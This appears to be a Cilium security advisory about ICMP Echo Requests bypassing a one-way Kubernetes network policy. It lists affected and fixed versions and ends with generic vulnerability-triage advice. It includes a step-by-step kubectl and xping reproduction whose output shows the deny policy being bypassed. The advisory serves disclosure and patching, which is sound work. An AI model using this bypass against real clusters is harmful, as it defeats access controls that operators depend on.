Under certain conditions, ICMP Echo Request sent to a Cilium endpoint from an actor may bypass a network policy which disallows access from the actor to the endpoint, but allows from the endpoint to the actor. This does NOT apply to UDP and TCP traffic.
The actor is either a pod or a cluster host or a remote host.
The following conditions must be met:
See https://github.com/cilium/cilium/commit/dfb008a9099c4da1e0fd964c899c43ee13280b0e (v1.9.x), https://github.com/cilium/cilium/commit/ff6ebae6efca1bd991302b464dea428512823e79 (v1.8.x), https://github.com/cilium/cilium/commit/472bbeff75161979c317ab21d563f826291b5f37 (v1.7.x).
$ kubectl run server --image=quay.io/cilium/net-test:v1.0.0 --restart=Never -- sleep 3600
$ kubectl run client --image=quay.io/cilium/net-test:v1.0.0 --restart=Never -- sleep 3600
$ cat <<EOF | kubectl apply -f
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: server-netpol # allow client->server
spec:
podSelector:
matchLabels:
run: server
ingress:
- from:
- podSelector:
matchLabels:
run: client
policyTypes:
- Ingress
---
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: client-netpol # deny any->client
spec:
podSelector:
matchLabels:
run: client
policyTypes:
- Ingress
EOF
$ kubectl exec -ti server -- xping -c1 -x666 $CLIENT_POD_IP
PING 10.154.0.50 (10.154.0.50): 56 data bytes
^C
--- 10.154.0.50 ping statistics ---
1 packets transmitted, 0 packets received, 100% packet loss <--- "client-netpol" policy denied
command terminated with exit code 1
$ kubectl exec -ti client -- xping -c1 -x666 $SERVER_POD_IP
PING 10.154.1.16 (10.154.1.16): 56 data bytes
64 bytes from 10.154.1.16: seq=0 ttl=60 time=0.822 ms
--- 10.154.1.16 ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss <--- "server-netpol" policy allowed
round-trip min/avg/max = 0.822/0.822/0.822 ms
$ kubectl exec -ti server -- xping -c1 -x666 $CLIENT_POD_IP
PING 10.154.0.50 (10.154.0.50): 56 data bytes
64 bytes from 10.154.0.50: seq=0 ttl=60 time=0.527 ms
--- 10.154.0.50 ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss <--- "client-netpol" policy bypassed
round-trip min/avg/max = 0.527/0.527/0.527 ms
If you have any questions or comments about this advisory:
| Software | From | Fixed in |
|---|---|---|
github.com/cilium/cilium
|
1.7.8 | 1.7.15 |
github.com/cilium/cilium
|
1.8.3 | 1.8.8 |
github.com/cilium/cilium
|
1.9.0 | 1.9.5 |
A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.
CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.
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Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.
Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.
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